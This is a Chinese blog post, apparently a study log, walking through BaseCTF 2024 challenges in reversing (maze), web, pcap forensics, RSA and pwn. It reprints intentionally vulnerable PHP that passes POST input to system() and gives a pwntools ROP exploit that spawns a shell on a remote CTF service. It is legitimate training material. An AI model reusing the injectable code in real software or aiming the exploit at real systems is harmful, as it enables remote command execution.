1.18学习记录

devtools/2025/1/19 22:43:28/

re

basectf2024 ez_maze

先查壳在这里插入图片描述发现是没壳是64位文件,用ida看看
找到主调函数,查看伪C

int __fastcall main(int argc, const char **argv, const char **envp)
{int v3; // eaxchar v5[32]; // [rsp+20h] [rbp-60h] BYREF__int16 v6; // [rsp+40h] [rbp-40h]char v7; // [rsp+42h] [rbp-3Eh]int i; // [rsp+48h] [rbp-38h]int v9; // [rsp+4Ch] [rbp-34h]sub_401840(argc, argv, envp);j_puts(Buffer);j_puts(aTakeTheShortes);j_puts(aShowYourTime);memset(v5, 0, sizeof(v5));v6 = 0;v7 = 0;j_scanf("%34s", v5);v9 = 0;for ( i = 0; v5[i]; ++i ){v3 = (unsigned __int8)v5[i];if ( v3 == 100 ){if ( v9 % 15 == 14 )goto LABEL_20;++v9;}else if ( (unsigned __int8)v5[i] > 0x64u ){if ( v3 == 115 ){if ( v9 > 209 )goto LABEL_20;v9 += 15;}else{if ( v3 != 119 ){
LABEL_21:j_puts(aInvalidInput);return -1;}if ( v9 <= 14 )goto LABEL_20;v9 -= 15;}}else{if ( v3 != 97 )goto LABEL_21;if ( !(v9 % 15) ){
LABEL_20:j_puts(aInvalidMoveOut);return -1;}--v9;}if ( asc_403020[v9] == 36 ){j_puts(aInvalidMoveHit);return -1;}if ( asc_403020[v9] == 121 ){j_puts(aYouWin);j_puts(aPlzBasectfLowe);return 0;}}j_puts(aYouDidnTReachT);return 0;

首先可以看出,这里调用了指针模块,结合题目maze可以推断出这是一个迷宫问题,接着看v3的赋值,很明显这里是根据v3传入的参数执行命令,但题目中的v3都是给了数字,就很容易联想到ASCII码表,去查了一下果然是wasd在这里插入图片描述同时也从上面的代码看出迷宫起点是x终点是y,接下来在分析迷宫的大小,可以看出按下s键的时候向右移动了15格,说明迷宫的行宽是15在这里插入图片描述接下来去找迷宫在这里插入图片描述先找到了规则是要找最短路径然后md5加密,迷宫去view hex里面找形状,在通过shift+e提取出来,手搓一下外壳在这里插入图片描述从x走到y就行了,因为不是很会dfs算法,就手搓了在这里插入图片描述走出来是sssssssddddwwwddsssssssdddsssddddd,用md5加密一下

这是大佬写的解密脚本

maze = [8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1,0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1,0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1,0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1,0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1,0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1,0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1,1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1,1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1,1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1,1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1,1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1,1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1,1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 9
]visited = [0] * (15 * 15)  # 记录访问过的点def BFS(maze, x, y):queue = [(x, y, '')]  # 设置队列,bfs用队列,dfs用栈while queue:x, y, path = queue.pop(0)if x < 15 and y < 15 and x >= 0 and y >= 0 and visited[x * 15 + y] != 1 and maze[x * 15 + y] != 1:visited[x * 15 + y] = 1  # 证明已经访问过了queue.append((x + 1, y, path + 's'))  # 只能字符串相加queue.append((x, y - 1, path + 'a'))queue.append((x, y + 1, path + 'd'))queue.append((x - 1, y, path + 'w'))else:continueif maze[x * 15 + y] == 9:return pathflag = BFS(maze, 0, 0)
print(flag)

脚本跑出来也是这个结果
最后解得:basectf{131b7d6e60e8a34cb01801ae8de07efe}

web

basectf2024 RCEisamazingwithspace

这题是一个简单的空格绕过post传参在这里插入图片描述代码审计

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {echo 'Space not allowed in command';exit;
}// execute the command
system($cmd);

一个post传参
在这里插入图片描述

misc

basectf2024 海上遇到了鲨鱼

题目附件下载后是一个流量包,这题是一个流量包分析题,先分析追踪流
在tcp流中没找到flag在这里插入图片描述在http追踪流中就发现了在这里插入图片描述用脚本倒序过来

s="}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"#输入需要镜像的字符
reseved_s=s[::-1]
print(reseved_s)

得flag BaseCTF{15ef386b-a3a7-7344-3b05-ac367316fb76}

crypto

basectf2024 babyrsa

rsa加解密

from Crypto.Util.number import *flag=b'BaseCTF{}'
m=bytes_to_long(flag)n=getPrime(1024)
e=65537
c=pow(m,e,n)print("n =",n)
print("e =",e)
print("c =",c)
"""
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
"""

exp:

from Crypto.Util.number import *
import gmpy2
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832phin = n-1
d = gmpy2.invert(e, phin)
m = pow(c, d, n)
print(long_to_bytes(m))

pwn

basectf2024 我把她丢了

查壳在这里插入图片描述放到ida看一下
找到主调函数,发现在read处存在栈溢出在这里插入图片描述因为是64位文件,需要找寄存器在这里插入图片描述找一下bin/sh的地址在这里插入图片描述exp:

from pwn import *
io=process('./pwn')
io=remote("gz.imxbt.cn",20389)
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()

http://www.ppmy.cn/devtools/151936.html

相关文章

Tidb集群升级到8.5.0过程中服务器遇到的坑

TiDB 集群升级到8.5.0踩坑记&#xff1a;从 GLIBC_2.15 升级到 GLIBC_2.28YUM 仓库问题的全面解决 1. 引言 作为部门的负责人&#xff0c;我常常觉得自己是个“救火队员”。昨天 TiDB 集群又出问题了&#xff1a;查询卡顿、响应时间变长&#xff0c;重启之后问题依旧。临近下班…

机器学习中的方差与偏差

文章目录 方差与偏差1.1 数据1.1.1 数据的分布1.1.2 拟合 1.2 方差与偏差1.2.1 泛化误差的拆分1.2.2 理解方差偏差 1.3 方差-偏差trade-off1.3.1 方差-偏差trade-off1.3.2 方差与偏差诊断 1.4 降低策略1.4.1 噪声1.4.2 高偏差1.4.3 高方差 方差与偏差 1.1 数据 1.1.1 数据的分…

汽车免拆诊断案例 | 2007 款法拉利 599 GTB 车发动机故障灯异常点亮

故障现象  一辆2007款法拉利599 GTB车&#xff0c;搭载6.0 L V12自然吸气发动机&#xff08;图1&#xff09;&#xff0c;累计行驶里程约为6万km。该车因发动机故障灯异常点亮进厂检修。 图1 发动机的布置 故障诊断 接车后试车&#xff0c;发动机怠速轻微抖动&#xff0c;…

生产环境中常用的设计模式

生产环境中常用的设计模式 设计模式目的使用场景示例单例模式保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点- 日志记录器- 配置管理器工厂方法模式定义一个创建对象的接口&#xff0c;让子类决定实例化哪个类- 各种工厂类&#xff08;如视频游戏工厂模式创…

C#高级:用Csharp操作鼠标和键盘

一、winform 1.实时获取鼠标位置 public Form1() {InitializeComponent();InitialTime(); }private void InitialTime() {// 初始化 Timer 控件var timer new System.Windows.Forms.Timer();timer.Interval 100; // 设置为 100 毫秒&#xff0c;即每 0.1 秒更新一次timer.…

《机器学习》——SVD(奇异分解)降维

文章目录 SVD基本定义SVD降维的步骤SVD降维使用场景SVD 降维的优缺点SVD降维实例导入所需库定义SVD降维函数导入图像处理图像处理图像打印降维结果并显示处理后两个图像的对比图 SVD基本定义 简单来说就是&#xff0c;通过SVD&#xff08;奇异值分解&#xff09;对矩阵数据进行…

基于 Python 和 Django 的课程管理系统设计与实现

标题:基于 Python 和 Django 的课程管理系统设计与实现 内容:1.摘要 摘要&#xff1a;本文介绍了基于 Python 和 Django 的课程管理系统的设计与实现。文章首先阐述了课程管理系统的背景和意义&#xff0c;接着详细描述了系统的设计与实现过程&#xff0c;包括系统架构、功能模…

nginx 配置ssl_dhparam好处及缺点

ssl_dhparam 是 Nginx 配置指令之一&#xff0c;用于配置 Diffie-Hellman 参数&#xff0c;这是一种用于密钥交换的加密算法。配置 Diffie-Hellman 参数可以提高 SSL/TLS 的安全性。 以下是 ssl_dhparam 的优点和缺点&#xff1a; 优点&#xff1a; 提高 SSL/TLS 安全性&…